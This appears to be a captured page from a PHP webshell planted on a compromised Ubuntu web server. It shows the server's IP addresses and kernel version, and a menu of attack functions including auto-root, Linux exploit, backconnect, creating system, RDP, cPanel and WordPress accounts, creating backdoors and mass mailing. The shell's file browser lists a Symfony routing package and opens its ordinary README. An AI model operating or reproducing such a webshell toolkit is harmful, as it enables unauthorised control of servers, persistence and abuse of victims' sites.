Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 3.128.94.125
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lionsclub /
core /
vendor /
symfony /
routing /
[ HOME SHELL ]
Name
Size
Permission
Action
Annotation
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Generator
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Matcher
[ DIR ]
drwxr-xr-x
CHANGELOG.md
11.68
KB
-rw-r--r--
CompiledRoute.php
4.33
KB
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
README.md
1.5
KB
-rw-r--r--
RequestContext.php
6.92
KB
-rw-r--r--
RequestContextAwareInterface.p...
558
B
-rw-r--r--
Route.php
14.35
KB
-rw-r--r--
RouteCollection.php
8.4
KB
-rw-r--r--
RouteCollectionBuilder.php
9.45
KB
-rw-r--r--
RouteCompiler.php
14.58
KB
-rw-r--r--
RouteCompilerInterface.php
779
B
-rw-r--r--
Router.php
12.14
KB
-rw-r--r--
RouterInterface.php
1.02
KB
-rw-r--r--
composer.json
1.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
Routing Component ================= The Routing component maps an HTTP request to a set of configuration variables. Getting Started --------------- ``` $ composer require symfony/routing ``` ```php use App\Controller\BlogController; use Symfony\Component\Routing\Generator\UrlGenerator; use Symfony\Component\Routing\Matcher\UrlMatcher; use Symfony\Component\Routing\RequestContext; use Symfony\Component\Routing\Route; use Symfony\Component\Routing\RouteCollection; $route = new Route('/blog/{slug}', ['_controller' => BlogController::class]); $routes = new RouteCollection(); $routes->add('blog_show', $route); $context = new RequestContext(); // Routing can match routes with incoming requests $matcher = new UrlMatcher($routes, $context); $parameters = $matcher->match('/blog/lorem-ipsum'); // $parameters = [ // '_controller' => 'App\Controller\BlogController', // 'slug' => 'lorem-ipsum', // '_route' => 'blog_show' // ] // Routing can also generate URLs for a given route $generator = new UrlGenerator($routes, $context); $url = $generator->generate('blog_show', [ 'slug' => 'my-blog-post', ]); // $url = '/blog/my-blog-post' ``` Resources --------- * [Documentation](https://symfony.com/doc/current/routing.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony)
Close